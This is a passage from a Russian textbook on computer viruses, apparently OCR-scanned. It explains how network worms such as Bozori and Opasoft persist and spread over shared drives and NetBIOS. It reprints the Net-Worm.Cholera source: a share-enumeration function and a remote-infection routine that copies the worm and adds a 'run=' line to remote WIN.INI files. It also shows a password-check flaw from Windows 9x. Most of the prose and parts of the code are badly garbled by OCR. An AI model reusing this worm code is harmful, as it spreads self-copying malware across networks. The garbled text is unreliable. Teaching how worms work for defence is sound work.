MessageBox(0, "Worm started already!™, "Alarm!”, 0);
exit(0);

}

while (1) { // beckoHe4Hbn LWUKN

Sleep(0);

}

IToTokK BUPYCHOTO TIporiecca pabOTAOT MApPaIeTbHO, BBITOJIHIS
B GECKOHEUHOM IMKJIe HeKue orepaiiui. Hampumep, 4epBb MOKET KOIIH-
poBatb cebst Ha Bce MAIllMHbI JIOKAJIBbHO# cetn. Vi rockLiath cebst B BUIe
MACbMa T10 OTIPEIEJICHHOMY CITUCKY ajipecoB. [loToMm emie pas... U eire...
U Tak n0 GeckoreunocTr. Takum 06PasoM, €CJIU BbI CHIUTE 32 KJIaBUATY-
POl TOKJIFOUEHHOM K CETH U aTaKyeMON MaIlliHBI, TO YHUUTOKEHIE 00-
HapymeHHoﬁ Ha IVCKE KOIINU Y€PBA MPUBEJCT JIUIDb K TOMY, 9TO 4Y€pe3
HEKOTOPOE BpPeMs MOSIBUTCS HOBast €ro Konus. VIJii puieT erre oJ{HO 3a-
paskeHHOe TchbMO. OOBIYHBIN aHTUBUPYC, Jaske pabOTAIIUI B PEKUMe
MOHUTOPA, HE CHAaceT OT MOSBJIEHUS CETEBON «3apa3br». 1103/1HO yHIUTO-
JKaTh ee, KOT/la OHa yJKe TIPUTILTA U JISKUT Ha IUCKe B BUIe (aiisia, ee HAZ0
GJIOKUPOBATB €IIle «B My TH» — [IPU oMol daiipsosuia (OpaHaMayspa).
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[TpearonoKuM, 4TO YepBb yiKe KPYTUTCS B MAMSATH MAITMHBI, U MbI
«TJTa3KaMu» BUMM ero (haiijl B OJIHOM M3 KaTaJoros aucka. IlycThb, ais
ompesiesieHrocTH, 370 Oyzer Net-Worm.Bozori.b (ou ke Zotob.b). 13-
JOGJEHHBIMU MECTAMU, Ky/Ia CETEBbIE YEPBU KOTIUPYIOT CBOE TEJIO, SIBJIsI-

I0TCA:

©c 0 O 0O 00

KopeHb iucka «C:\»;

karajiorn onepanuorHoii cucrembl «C\Windowss> wim  «C:\
WinNT»;

cucremubie katanoru « C:\Windows\SYSTEM» nim « C:\WinNT\
SYSTEM32»;

Kartajioru aBrosairycka, Harpumep «C:\Documents and Settings\
Default User\I'taBaoe menio\ITporpaMmbr\ ABTO3arpysKa;
katasiorn BpeMmeHHbIX (ailyioB «C\TMPs», «CA\TEMP», «C:\
Windows\TEMP» u tipounue;

katasiorn  ypanenueix  GaisoB  «CA\RECYCLED», <«C:\
RECYCLER», «<CASRECYCLE.BIN» u . 1.

[Tocsieanue nBe rpymIIBI KATAJIOTOB «XOPOIIM» TEM, YTO [IJIsl 3alIUCH
B HUX He Tpebyercsi HUKakuX npuBmiernii. Jliobast mporpamma, 3airy-
IIEHHAS OT UMEHU JIFOOOTO MOJIb30BaTe s, CIOCOOHA PA3MEIaTh TaM CBOU
(ailsibl 1axke B YCIOBUSX JKeCTOYAIIe HACTPOEHHO! HOJUTUKHI Oe301ac-
HOCTH.

O06b1uHO haill YepBst UMEET «CBEKYIO» JaTy CO3JaHus M KaKoe-HH-
Oyub <1ceBnocrcreMuoe> numst. Harpumep, 11 Net-Worm.Bozori.b ato
<WINTBPX.EXE».

IHHT\system32

C: ..\ Fazmnep flata
winsta dll I0184(19.86.83
winstrm dl11 21776(19.86.83
10878|10.12 .05
wintrust dll 166168(19 8683
winver exe 4368|19.86.03
wizmgr exe 27408(19._086.03
wkssuc dll 08064(19.086.83

wlbs exe 30992
wlbsctrl dll 26896

19 .86 .83
19.06.83

wintbpx.exe 18878 18.12.85

Puc. 6.4 < Yepsb Bozori B kaTanore
C:\WINNT\System32

[ToaTBepANTH TTOMO3PEHNE TOMOKET HATIMYNE OTHOMMEHHOTO TIPOTIeC-
ca B MaMsITH KoMIIbioTepa (cM. puc. 6.5).
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Mpmnoserna  NPOLECCE! |EbICTDD.ﬂEﬁCTBHE]

ViMa obpaza | PID | un | Epema LM | Mamate | =
tcpswes, exe 612 ] 0:00:02 5236 KE
svchost,exe 632 oo 0:00:035 11072 KB
llssr, exe 676 00 0:00:00 1 740 KE
2403 sys 704 00 0:00:00 1092 KB
PEOSC EXE 736 oo :00:00 536 KB
mstask. exe 856 ] 0:00:00 3532 KB
wins. exe 952 ] 0:00:02 4624 KB
regedit. exe 964 oo :o0:01 165 KB
D32 exe 1000 00 0:00:05 1728 KE
dnis.exe 1085 aa 0:00:00 37IZKE
inetinfo, exe 1150 oo 00002 11930 KB
explorer.exe 1168 oo 00014 2632 KB
taskmar.exe 1276 01 00003 2126 KE
internat, exe 1432 oo 0000 1276KE |
-

Mpoueccos: 30 Jarpyska LN 100% MakaTe: 119584k [ 471740k

Puc. 6.5 « lNpouecc yepssa Bozori B namsaTy koMnbioTepa

Takxe oueHb KPAaCHOPEYMBHI CTPOKU B KOH(UTYPAIIMOHHBIX (haiiimax
i Kioun Peectpa, obecriednBaronie aBTOMATHIECKUI 3aIyCK YepBsi
rocJie iepe3arpysku Komiibiorepa (cm. puc. 6.6).

PepakTop peecTpa =] ﬂ
Peectp Opaska Bua  MsOpanHos  Cnpaewa

__| Reliability ~ || 1mMa T 3HAYEHHE
i ab]iMa ymanqarka) REG_SZ (3HaYeHHe He NPHMCEOEHD)
—1 RunGnce ab) gshampoo Firewall  REG_SZ "C:\Program FileslAshampoc
_ | RunCnceEx

+ _ | Setup
_ | SharedDLLs

+ | Shell Extensions hd

4] IC 1] [ b

Mo KoMneto Tep HIEY _LOCAL_MACHINEVSOFTW ARE\Microsoft Windows| Currentersion|Fun

Puc. 6.6 < Ccbinka Ha ¢ain yeps Bozori B Peectpe

Wrak, 10BOJIBHO YaCcTO BUPYCHBIN (hailsi BU/IEH «HEBOOPYKEHHBIM IJIa-
30m». [Torpobyem «youTh» ero Bpyunyio. Koneuno, Windows He 1103B0-
JIT yIaauTh (haiin Beinosastometicst mporpammMer. Ho 8 Windows NT Bo3-
MOJKHO TIepeuMeHOBaHue Takoro (aiisia, Hanpumep n3 «VintBPX.EXE»
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B «VintBPX.EX ». Takxe MmoxkHO, mosib3ysich yruautoit REGEDIT, yzia-
JIUTHh Cco3aHHbIN uepBeM Koy Peecrpa «HKLM\Software\Microsoft\
Windows\ CurrentVersion\Run\wintbpx.exe = wintbpx. exe». 3nauur
JI 3TO, YTO TIPOTpaMMa-uepBb 00e3BpekKeHa U Mocje Mepe3arpy3ku He
MOJIYUUT YIIPABJICHUA? «YBbI» U «ax». /lesl0 B TOM, 4TO BUPYC B OJTHOM
13 CBOUX IMOTOKOB HEIPEPBIBHO CKAHUPYET OKPYIKAOILYI0 OOCTAHOBKY U,
0OHapysKUB, 4TO MPOIAJN HY:KHbII (hailin u HyxKHas 3amuch B Peectpe,
HeMeJIJICHHO BOCCTAHABIMBACT WX Ha IPEKHUX MecTax. [l aToro o mc-
MOJIb3YET «CIPABOYHYIO» KOMHIO CeOst, UMEIOILYI0 KaKoe-HIUOY/Ib «Cepoe»
UMST U TIOJIOKEHHYIO B KaKoe-HUOY/Ib «HE3aMEeTHOe» MECTO Ha JINCKE —
nanpumep, «C:\Program Files\BOOTLOG.TXT». Takum o6pasoM, Bce
HAIM TPYAbL HOMAYT HacMapKy. BeIBOA: Ipeskie Bcero HeoOXo4uMo HaliTu
BUPYCHBIU TPOIlecC B HaMsiTh (eCjid, KOHEYHO, OH He UCTI0Jb3yeT rootkit-
TEXHOJIOTUIT) U «3aCTPEIUTH» UMEHHO €TO.

Takum 06pa3oM, TUITMYHbII Y€PBb, HECMOTPSI HA CBOIO BHEIITHIOIO TIPH-
MUTHBHOCTb, IIOPOii CI10COOEH YIIOPHO GOPOTHCS 3 KU3Hb 1 MECTO IO
conHieM. B npuHmumne, 10CKoHaIbHO pazbupasich B MOBAAKAX HTOIO XUT-
POTO 2JIEKTPOHHOTO CYIIECTBA, MOKHO YIAJTUTh €T0 € 3aPasKeHHOM Mallln-
HBI U «<TOJIBIMU PyKaMu». Ho Jiydiiie Bce-Taku MOPy4uTh 3Ty paboTy aHTH-
Bupycy. KoTopblii, KcTaTi, MOKHO HAITMCATh CAMOCTOSITETHHO.

6.4. Kak smpycbl 1 4yepsu
PacNPOCTPaHAIOTCS

— Jluuno s, — ckasan ou, — aevcamov Ha NAAGHU-
Ke ne cosemyio. Tam scezda necmemmo necuanvix
o0x.

A.u b. Crpyrankue.
«Bosspamennes («[lommers. XXII Bex»)

CaMo1pOn3BOJILHO, 110 1IyYbeMY BeJIEHUIO U 110 CBOEMY XOTEHUIO, BUPYC
C MalIMHbI HA MAlIMHY 10 CETH IIePEMECTUTLCS He MOXKeT. ¥Y3JIbl CeTH
JOJIKHBI OBITH TIPEABAPUTENHEHO HACTPOEHBI Ha OOMEH TaHHBIME [0 TOMY
nian uHomy 1potokosy. Ha ysine-nipuemuuke oJiKeH MOCTOSIHHO JKIATh
3aMPOCOB KaKOU-HUOY/Ib cepBep, a BUPYC, JKUBYIIIIT Ha y3JIe-UCTOYHUKE,
JIOJIKEH 3aMacKUPOBATLCS 110/l 3aKOHOIOCHYITHBbIN KIMEHT, KAyl
0OMEHATHCS ¢ CEPBEPOM KaKUMU-HUOY/Ib JETalbHBIMY JAAHHBIMU. JI160
Ha060POT, BUPYC JOJIKEH TIPUKUHYTHCS CEPBEPOM U MOCJIYIITHO BBITOJ-
HATb BCE 3aIIPOCHI JOBEPYMBOrO KJIMEHTA, II0ChLIAsl €My, OIHaKO, BMECTO
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3alIPOLIEHHbBIX JIETAIbHBIX JaHHBIX — ceOst, T0OMMoro. PaceMoTpum Hau-
GoJiee 4acToO IPUMEHsIEMbIE BUPYCAMU CIIOCOOBL.

6.4.1. YepBu B NOKasnbHbIX CETAX

CoBpeMeHHbI€ JIOKaJIbHbIE CETH He 00513aTEJIbHO CBS3BIBAIOT OJU3KO pac-
MOJIOKEHHbBIE KOMITBIOTEPHI. U He 06513aTeIbHO STUX KOMITBIOTEPOB MAJIO.
Hepenko B JIOKaJIbHYIO CETh OPTaHU3AIMKM OKA3bIBAIOTCA BKJIIOYEHDBI HE
TPU—TISITH, & HECKOJIBKO COTEH Y3JI0B, Pa30POCAHHBIX 0 PA3HBIM 3TasKaM
HECKOJIbKUX 31aHuil. V1 Ha HUX MHOTA OOUTAIOT «CETEBbIE YUEPBU».

Cpeoil 06UTaHUSA TaAKUX YEPBEil SABJISIOTCS OTKPBITHIE [T OBIIEro
0JIb30BaHMs (KaK TOBOPAT, «paclllapeHHbIe») PEeCYpPChbl JOKAJIbHOI ce-
TH — aucku u Katasord. CiryskObl JOCTya K CETEBBIM PECYPCAM BBITIOJ-
HSIIOT OJJHOBPEMEHHO ¥ KJIHEHTCKYIO, 1 CEPBEPHYIO POJIH, TaK YTO Jtobast
MaIlliHA ¢ TAKUMU CIYKOAMU MOJKET CIIYKUTh U €I TSI BUPYCHOIT
aTaky, 1 UCTOYHUKOM PACITPOCTPAHEHUS «3aPa3bl» 110 CETH.

1 mpuURIagIHON TMPOTPAMMBI «CETEBOW UCK» WU «CETEBOW KaTa-
JIOT», PACIIONIOKEHHBIH Ha UyKOM KOMITBIOTEPE, HOCTYIIEH TaK JKe, KaK 1
cobcTBeHHbIe pecypehl. JIMCKY WIH KaTaJory MOYKHO Ha3HAYMTH HOBYIO
«OykBy» (Hampumep, «J:»). I3 katamora B KaTaJor MOKHO MEPEXOAUTH
pu oMonu cucreMuoit gynkiun «SetCurrentDirectorys, OTKpbIBaTh
daiibr mpu omoru «CreateFiles, unTtath 1 mucaTh B HUX MPH MOMOIIN
«ReadFile» u «WriteFile», yaansars, konuposaTh ux u T. 1. BoJjiee Toro,
Bce 3TO MOryT zeaarh gaxe MS-DOS-nporpammbr uepes «INT 21h».

Orpanudenusi, KOHEYHO, UMEIOTCS: JOCTYIIHBI TOJBKO SIBHO <«paciiia-
peHHbBIE» pecypchl. Hampumep, eciiv OTKPHIT Ha A0ocTyn AucK «D:», ToO
nmuck «C:» ocraercd HeBUANMBIM. Eciint ke oTKpbIT KaTasor «C:\ Program
Files», To moctyntbr Bee (aiiyibl BO BceX ero mojkarajiorax (Harpumep, B
«C:\Program Files\ Accessories»), a ¢ailibl B Jpyrux KaTajorax — Her.
Bupouem, B Windows Muiafiinx Bepcuii prcyTCTBOBaJIA OIMUOKa, TO3BO-
JIBINAst 0OPAIaThCsl K HePa3peIeHHbIM PECYPcaM TTOCPEICTBOM CHMBO-
JITYECKOTO 0003HAUEHUS «..» (BBIIIETIEKAIINN KATAJIOT), HAIPUMED TaK:
«del C:\Program Files\..\Windows\WIN.COM». Ho sTa omubka jas-
HBIM-/IAaBHO UCITPaBJIE€HA.

[lpyroe BakHOe orpaHUYeHUe — BJIAJIEJIEI] «PACIIAPDEHHOTO» pecypca
MMeeT BO3MOKHOCTh YCTAaHOBUTD JIJIsl BHEIIHUX «IIOCETUTEJIEN» YPOBEHD
JIOCTYTIA K HEMY:

O  TOJIbKO YTEHMUE;

O ormpenesnsieTcs napoem;

O mnoJHbIiL.
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[MopnepskuBaiorcs jiBa peskuma mepefauu maposst: 1) B Bujie cTpoku
TekcTa; 2) B 3anmdpoBaHHoM Buze. Bo Becex pasHoBuaHocTssx Windows
9X mmenach Bonuiomas omubOka (omucanHas B Giomaerene Microsoft
¢ ungekcom MS00-072), cBs3anHast ¢ MPOBEPKOI MPaBUJIBHOCTU He3a-
mrhpoBaHHOTO Maposis. [eso B TOM, YTO TPUCIAHHBIN TTApOJib CPABHU-
BAJICA C ATAJIOHHBIM TIPUMEPHO B TAKOM CTHJIE:
int checkpass( char =pass, char =etalon) {

for (int 1=0;i<strlen(pass);i++) 1if (pass[i]!=etalon[i]) return BAD_PASS;
return PASS_OK;
}

KosnyecTBO cpaBHUBAEMbBIX CUMBOJIOB OIIPEEJISITIOCH HE JIJIITHON JTa-
JIOHQ, a JUIMHOM mpOOHOTO Taposist. TakuM 06pasoM, 3JI0YMbIIILIEHHUKY
JUIST IOCTYTIA K CETEBOMY JIUCKY JIOCTATOYHO OBLJIO MPABUIBHO MOA00paTh
BCEro JIUIIb IIePBYIO OYKBY!

Ommbka Oblia ucipasieHa matdamu or Microsoft, KoTopbie, Kak BO-
JITCSI, BBIILIU C ONO3MAHIEM, CYIIECTBOBAINA HE JIJISI BCEX CUCTEM U I10
yModaHuio B AucTpubyTus Windows He ObLIM BKJIIOYEHBI, TaK YTO UX
MIPUXOAMJIOCH TJe-TO MCKATh U OTKY/a-TO CKadyuBaTh. Kopode roBops,
napoJibHasi 3aiura cereBbix quckoB B Windows 9X HU OT KOro U HU OT
yero Ha caMoM jejie He samuinasia. Muoe geno — Windows NT. B atux
CHCTEMAX U CPABHEHUE CTPOK PeATM30BAHO KOPPEKTHO, U Iir(poBaHe
nepeaBaeMbIx mapoJieil gobassieHo. TouHee, 3TO He coBceM <«IMU(pPOBa-
unes». [losyaws 3ampoc Ha 1OCTYII, CEPBEP C «PACHIAPEHHBIM» PECYPCOM
TeHepUpYyeT cydaiiHoe YMCJIo M OTChLIAeT ero KianeHTy. Kinuent mmdpyer
YICJIO C TTApPOJIeM B KauecTBe KJIiova u Bo3Bpamiaer Hasan. Cepsep mbita-
eTcst pacindpoBaTh MOCHLIKY ITATOHHBIM IIAPOJIEM, U €CJIU Pe3yJIbrar
9TOU OIepaINy COBIAIAET C IIEPBOHAYATBHO CTEHEPUPOBAHHBIM YHCJIOM,
CUUTAET, YTO TMAPOJIU COBMAIU. TakuM 00pa3oM, OT MAIIUHBI K MAallliHEe
caM TapoJib IPOCTO He TIePeIAETCs, U EPEXBATUTD ero He moaydurcst. Ho
ecJu B JIOKasibHOI cetn npucyreTByioT 1 Windows 9X, u Windows NT,
TO MAPOJIb B IIEJISIX COBMECTUMOCTH BCE PABHO OY/IET TIepPeiaBaThCsl B BUIE
He3aM(pPOBAHHON CTPOKH.

V1no6eTBO paboTHI € CETEBBIMU [IMCKAMU B COBPEMEHHbBIX Bepcusix Win-
dows 6asupyercs na tpanciiopre TCP/IP u obecniednsaercst ciyx060i
CIFS, unkancyiupyiomieil paboTy HECKOJbKUX CETEBBbIX IHPOTOKOJIOB:
NetBIOS/NetBEUI u SMB. Kpowme Ttoro, B Bepcusx Windows, Bbi-
nymterHbix 1o 2000 1., B paboTe ciry:KObI CETEBBIX IUCKOB yYacTBOBAJ
npoMeRyTouHbIil IpoTokos NBT, noctynubrii yepes nopter 137-139 n
OTBEUABIIHII TIPEsKE BCero 3a mpeobpasoBanue 32-6utosoro IP-aapeca
B NetBIOS-ums, 3aganHoe B Buje CTPOKU AIUMHON He Oosiee 15 cuMBO-
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joB!. B Gosee nosaaux Bepcusix Windows mporpammucts Microsoft
obouummch 6e3 NBT, peamsosas «ipamoii» gocryn k CIFS — yepes mopr
445. Cospementbie Bepcurt Windows ncmosb3yior o6a MEeTo/1a 1 Iy CKaioT
K CETEBBIM JINCKAM U KaTaJoraM Kak uepe3 mopT 445, Tak u yepes 137—139
(cMm. puc. 6.7).

NetBEUI
| NetBIOS |

Puc. 6.7 « TpoTokonsbl,
peanusyloLme «paclliapuBaHne» pecypcoB

[IpoToxosr SMB HenocpencTBeHHO B3auMo/ielicTBYeT ¢ (haiijioBoii cu-
cTeMOIi. 3a TTPOBEPKY MapoJiel, TPOCMOTP CETEBLIX KAaTaJIOT0OB, epe/lauy
baitioB u T. 1. oTBeUaeT MeHHO OH. Ho 1oBOsTBHO yacTo SMB He ipoBe-
psIeT HUKaKUX TTapoJiell, TaK KaK ceTeBbIe IUCKU CAMUMU TI0JIb30BaTEISIMU
OTKPBITHI HA TIOJIHBIH JOCTYII.

IT0 06CTOATETIHCTBO OUEHB YI00HO HE TOJIBKO JIJIS TI0JIb30BaTeieit, Ho
1 JUUISE ceTeBbIX yepBeid. X paboTta 6asupyercst Ha TPeX BBICOKOYPOBHEBBIX
API-¢dynkimsax us 6ubanorekn MPR.DLL:

O «WNetOpenEnum» — OTKPBITH CEaHC MTEPEUNCTEHNUS;

O «WNetEnumResource» — mepeuncauTh AOCTYIIHbIE CETEBbIE pe-

cypchI (cepBepbl, IUCKH, (haliiIbl 1 T. 11.);

O «WNetTCloseEnum» — 3aBepuiuTh ceaHC IepednucieHusl.

ITH HYHKITUY C YCIEXOM HCTIOMB3YIOT U HeKOTOpbie Windows-Bupychr,
KOTOPBIX MBI HE OTHOCHM K YHCJTY «ICTUHHBIX»> YepBeli, Hanpumep Win32.
Kriz.4029, Win32.Funlove.4070 u npounie. OHU CKaHUPYIOT B JIOKAJIb-
HOIT CETH OTKPBITHIE CETEBBIE TUCKH U 3aPAXKAIOT BCE, UTO TTOMAAETCS MO/
pyKy. «VIcTUHHbBIE» Ke YePBHU IIPOCTO KOMUPYIOT cebst Ha CeTeBble AUCKH,
He 3apaskas HUKakKuX rnporpamm. Kak mpaBujio, OHU MPOMUCHIBAOT ceOst
B KoH(uryparmontsie daitibi Windows (#anpumep, B Peectp), 4ro0bl
nocJie repe3arpy3Ku 3ayCTUTBCS U MPOJIOJIKUTH PACIIOI3aHUE IO CETH.

PaboTy TUIMYHOTO CETEBOTO YepBst U3yyrM Ha npuMepe Net-Worm.
Cholera, HcXOMHBII TEKCT KOTOPOTO OBLT Pa3MEIIEH B 3JIEKTPOHHOM Kyp-
Haste «29A» 1 KOTOPBII MOCITy;KUT 00PAsIOM JIJIst MHOTOUYKCIEHHBIX TT03/1-
HEUIINX BUPYCHBIX PaspabOTOK.

! Tounee, nmst y3ua 1o ipasusiaM NetBIOS coctont 13 15 TeKCTOBBIX CUM-
B0JIOB 1 16-T0 GaiiTa, comepsKaliero TUI pecypca.
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3a CKaHUPOBAHUE JIOKAJIbHON CETU B 3TOM YepPBe OTBEYAET OUEHB ITPOC-
Tas pekypcuBHast QyHKIM (ee TeKCT [k OIyOJMKOBAaHUS B KHUTE CJIerKa
BUJION3MEHEH ):

void NetWOrming( LPNETRESOURCE 1pnr) {
LPNETRESOURCE 1pnrLocal; HANDLE hEnum; int count
int cEntries = OxFFFFFFFF; DWORD dwResult ; DWORD cbBuffer = 32768

if ( WNetOpenEnum ( RESOURCE_CONNECTED,
RESOURCETYPE_ANY, 0, 1lpnr, &hEnum) != NO_ERROR) return
do {
lpnrLocal = ( LPNETRESOURCE) GlobalAlloc( GPTR, cbBuffer)
dwResult = WNetEnumResource( hEnum, &cEntries, lpnrlLocal,&cbBuffer)
if ( dwResult == NO_ERROR) {
for ( count = 1 ; count < cEntries ; count++ ) {
if ( lpnrLocal[ count].dwUsage & RESOURCEUSAGE_CONTAINER) {
NetWOrming( &lpnrlLocal[ count])
}
else if ( lpnrLocall[ count].dwType = RESOURCETYPE_DISK) {
RemOteInfectiOn( lpnrlLocal[ count].lpRemoteName)
}
}
}
else if (dwResult != ERROR_NO_MORE_ITEMS) break
} while ( dwResult != ERROR_NO_MORE_ITEMS) ;
GlobalFree ( ( HGLOBAL) lpnrlocal)
WNetCloseEnum( hEnum)
return

}

Ita GyHKIUS TIpU TOMOINKU cucteMHOro BbizoBa «WNetEnumRe-
source» MePEYUCIISIET BCE IOCTYIIHbIE CETEBbIE PECYPCHI 1 ITOJIyYaeT B I0JIe
«dwUsage» npusnak tumna pecypca. s pecypcoB Tuma <KOHTeHHEp»
(To ecTh i PaboOYMX TPYIIIL, JOMEHOB U OTAEJIbHBIX MallnuH) (QYHKIIM
BHOBb PEKYPCUBHO BbI3bIBAET caMy ceOsl, YT0ObI IIPOHUKHYTh ellle TIyOxKe
B JIOTHYECKYIO UEPAPXHUIO U J0OPaThCs 10 AUCKOB U KaTaioros. CereBbie
nmena B ¢popmare Net BIOS naunnaiores ¢ AByX 00paTHBIX CASLIER «\\».
[TpockanrpoBaB JePeBO CETEBBIX PECYPCOB, YEPBb MOKET YBUETH IIPU-
MepHO caenyionee (cM. puc. 6.8).

(NULL)
(WORK:GROUP) (BUHGALT)
(\BOSS) (WADMIN) (\CEKPETAPS) (\GLAVBUX) (\EKONOMIST)
WBOSS\D WCEKPETAPB\TEXT WEKONOMIST\C
\CEKPETAPB\TETRIS

Puc. 6.8 < lNMpumep aepea «pacllapeHHbIX» PecypcoB
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Cob6crBento roBopsi, uepsio Net-Worm.Cholera sriosine jocratouto
3HAHWS CETEBBIX MMEH «PacIlIapeHHBIX» TUCKOB 1 Katasoros. OH, He 0Co-
GEHHO «3aMOPAYNBAsICh», CYUUTAET BCE MOJTyUEHHbBIE OOBEKThI KOPHEBBIMU
KaTaJloTaMy JINCKa, HA KOTOPOM ITPOMHCTAJIJINPOBAHA OI€PAIIMOHHAS CU-
crema Windows. U ieficTByst (pakTHUECKH BCJEYIO, TIHITAETCS OOPATHTh-
cs K ynaneanomy KoHdurypanronHomy daitny «WIN.INI» u Briucatnb
B Hero cTpoky «run=RPCSRV.EXE».
char szWindir0O0[ ]J={ WINDOWS"};

char szWindirO1[ J={ WIN95");
char szWindir02[ J={ WIN98");

char szWIN_INI[J={ WIN.INI");
char szSYSTEM_EXE[ ]={ RPCSRV.EXE"}

void RemOteInfectiOn( char =xszPath) {

char xdir_name[5]= { szWindir00, szWindir01, szWindir02, szWindir03, szWindir04 }
WIN32_FIND_DATAA FindData ;HANDLE hFind ; char szLookUp[ MAX_PATH]

char wOrmOrg[ MAX_PATH] ; char wOrmD3st[ MAX_PATH] ;int aux

for (aux = 0 ; aux < 5 ; aux++ ) {
sprintf ( szLookUp, "%s\\%s%s", szPath, dir_name[aux], szWIN_INI)
if ( ( hFind = FindFirstFileA( szLookUp,
( LPWIN32_FIND_DATAA) &FindData)) != INVALID_HANDLE_VALUE) {
sprintf( wOrmD3st, "%s\\%s\\%s", szPath, dir_name[aux], szSYSTEM_EXE)
if ( GetModuleFileNameA( NULL, wOrmOrg, MAX_PATH) != 0) {
if ( CopyFileA( wOrmOrg, wOrmD3st, TRUE) != 0) {
WritePrivateProfileStringA( szWindir0O0, "run”, szSYSTEM_EXE, szlookUp)
FindClose (hFind); break
}
}
FindClose (hFind)
}

[ToToM, NeHCTBYs aHAJOTUYHBIM sKe 00pPa3oM, YepBb TEPeTacKUBa-
er ceba B daiin «<RPCSRV.EXE» na yganennoii mammne. Pasymeer-
csl, OTPOMHOE YHUCIO GE3YCHENTHbIX MOMBITOK GY/IeT 3aTPayeHo YepBeM
Ha JIOCTYIl K 3aBEJIOMO HECYIIECTBYIOIIUM Karajoram u ailiam Tuma
«.. TETRIS\WINDOWS\WIN.INI». Ho HeGoblle IMAHChI XOTsI ObI
OJTHAXKIbI YrouTh B peasnbHbiil kKatanor «C:\WINDOWS» u Bnucatbcs
B peasibublii haitnn « WIN.INI» y Hero umerorcs, ve tak jau?

Muorue 6oJiee IPOABUHYTbHIE CETEBbIEC YEPBU UYT JAAJbIIE: MOJTYUUB
ceTeBble UMEHA /IMCKOB M KATAJIOTr0B, MOJKJIIOYAIOTCS K HUM IIPU [1OMO-
mu ¢pyukuuil «WNetAddConnection» 1 «WNetAddConnection2». 3to
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M03BOJISIET UM HA3HAYUTDH Pecypcy OYKBY THIA «]:», UCIIOJIB30BATH (MU
o06paTh) JOTHH U TAPOJIh I OCTYTA U T. . Tak mocTymnaer, Harmpu-
Mep, uepBb Net-Worm.Lioten (ou ;xe [IraqWorm). EcTb uepBu, KoTopbie,
[OCEeTHB MAIIKMHY, IPU oMoy cuctemuoil ¢yukuun «NetShareAdd»
OTKPBIBAIOT BCE MMETOITNeCs AMCKU Ha TOJHBIN TOCTYT, JIeJiast ee CoBep-
IeHHO Ge33alUTHOI TIepe/] HallleCTBUEM KaK 3TOTO, TaK U JIOOBIX APYTUX
CETEBBIX YepPBEN.

Haubosiee COBEPIIEHHYI0 TEXHUKY CKAaHMPOBAHUS U 3aPAsKEHUS CeTe-
BBIX PECYPCOB JIEMOHCTPUPYIOT 4YepBu cemeiictBa Worm.Opasoft (wiu
Opaserv). OHu He UCTIOJIB3YIOT BICOKOYPOBHEBBIX (hyHKIMIi THIa « W Net-
OpenEnum» unn «WNetAddConnection», a BMECTO 9TOTO CO3AI0T CO-
KeTbl, camocTosTebHO (hopMupyior NETBIOS-nakersl 1 0GMEHHUBAIOTCS
UMM C 3apaskaeMOoil ManHoil. B1o6aBok yepBu nepebupaioT BCEBO3MOK-
HbIe OJIHOOYKBEHHBIE TIAPOJIN CETEBBIX PECYPCOB U, TAKUM 0OPA30M, TIPOHHU-
KalOT Ha KOMITbIOTEpPBI, paboTarotire moy yipasieaueM Windows 9X.

Hemunyemo n0/KeH BO3HIKHYTh BOTIPOC: & HE MOJKET JIU YepPBb IT0/I-
KJIIOYUTHCS K «PaCIIaPDEHHOMY» CETEBOMY PeCypCy MAallWHBI, He 3HAs
ee NETBIOS-umenu, a tonbko [P-ampec? K coxanenuio, Ha Hero cJe-
JyeT OTBETUTH moJiokuTesbHo. OkasbiBaercs, ¢yHkunus «WNetAdd-
Connection2» 103BOJIgeT HCIIOJb30BaTh B KaueCcTBEe UMEHHU IIOJKJIIO-
gaemoro pecypca ctpoky Bumpa <«\\<IP-agpec>\</lnck>», nanpumep
A\\111.111.111.111\C». 1 »TO 03HauYaeT, 4TO YepPBU, UCIOJIb3YIOIIAE
naHHyio ocobenHocts (Harnpumep, Worm.Bymer, Worm.Opasoft, Net-
Worm.Randon u mpouwrie), He OrpaHUYEHBI B CBOEM PACIPOCTPAHECHUN
TOJIbKO JIOKAJbHOU ceThio. OHU BIIOJIHE MOTYT IIepeIoJi3aTh U3 CeTU B
CeTh, MMy TENEeCTBYS 1O BceMy MUpY. BoT, Haripumep, onrcanue crpaTeruu
pactipoctpanenust uepssi Worm.Opasoft.a, B3siToe U3 OHJIARH-IHITMKIIO-
nenuy aHTuBUpyca Kacrepckoro:

Jns Toro 4tobbl HalTV KOMIbIOTEPbLI-XXEPTBbI, 4YEPBb CKAHUPYET

nogcetu rno nopty 137 (NETBIOS Name Service). CkaHupytotcs IP-

aapeca c/ienyoLmx CeTen:

— roACEeTh TEKYLLEro (3apaxeHHoro) komrnstepa (aa.bb.cc.??);

— ABe 6avkariume rnoaceTy Tekyllero koMmrnostotepa (aa.bb.cc+1.??,
aa.bb.cc-1.??);

— c/1y4ariHoO BblOpaHHasi noAceTh (3a UCKITIOYEHNEM HEKOTOPbIX «3a-
MPELLEHHbIX» K CKAHUPOBAHWIO CETEN).

Ecnv npu ckaHupoBaHUM CrlyHariHOM noaceTn kakov-nmbo IP-aapec

«OT3bIBAETCSI» (TO €CTb Takow anpec COOTBETCTBYET peasibHOMY

KOMIMbIOTEPY), TO YEPBb TAKXEe CKaHUPyeT ABe bavxariLume noacetu

JaHHoro IP-aapeca.
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Kakue KOMIIbIOTEpBI CTaHYyT sKepTBaMu IOA0OHBIX uepseii? IIpexne
BCETO T€, KOTOPBbIE UMEIOT JIOCTYI OZIHOBPEMEHHO U K VIHTepHeTy, u K J0-
KaJbHOU ceTu. Takne MAIMHBI YACTO BCTPEUAIOTCS B HEOOJBIIUX Opra-
HU3AIMSAX, BCe COTPYAHUKN KOTOPON BBIXOAAT B VIHTEpHET yepe3 efnH-
ctBeHHBIN [P-afpec, mpucBOeHHDbIN Y31y CeTU C YCTAHOBJIEHHBIM HA HEM
npokcu-cepsepoM. OCoGEHHO OMACHO, €CJIU ATOT eIMHCTBEHHBII «IeHT-
pasibHBIi» y3ea paboraer noa ynpasiaenrnem Windows 9X wiu saruiiex
NPUMUTHBHBIM MaposieM. HanGosiee mpocThiM petrieHreM mpobaeMbl MO-
JKET CIIysKuTh haiipBosn (OpaHaMayasp), YCTaHOBJIEHHbI Ha «I[eHTPaJIb-
HOM» y3Jie U HACTPOEHHBIH Tak, 4ToObl mporyckath NetBIOS-3ampocs
o noptam 137-139 u 445 u3 cBoeii cetn (Hampumep, ¢ [P-axpecos
192.168.0.* nnu 169.254.*.*) u 610KMPOBATH BCE OCTAJIbHBIE.

6.4.2. MNMouyToBbIE BUPYChHI

